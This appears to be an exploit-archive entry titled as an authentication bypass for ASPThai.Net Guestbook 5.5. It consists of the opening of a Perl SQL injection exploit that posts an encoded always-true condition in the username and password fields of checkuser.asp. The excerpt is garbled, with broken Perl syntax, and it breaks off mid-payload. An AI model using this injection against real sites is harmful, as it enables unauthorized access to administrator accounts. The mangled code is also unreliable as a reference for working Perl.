ASPThai.Net Guestbook 5.5 - Authentication Bypass

!/usr/bin/perl SQL Injection Exploit for ASPThai.Net Guestbook new or die; $cookiejar = HTTP::Cookies-new; $xpl-agent'g00ns'; $xpl-cookiejar$cookiejar; $res = $xpl-post $Server.'checkuser.asp', Content = 'txtUserName' = '' or '%67%30%30%6e%73'='%67%30%30%6e%73', 'txtUserPass' = '' or...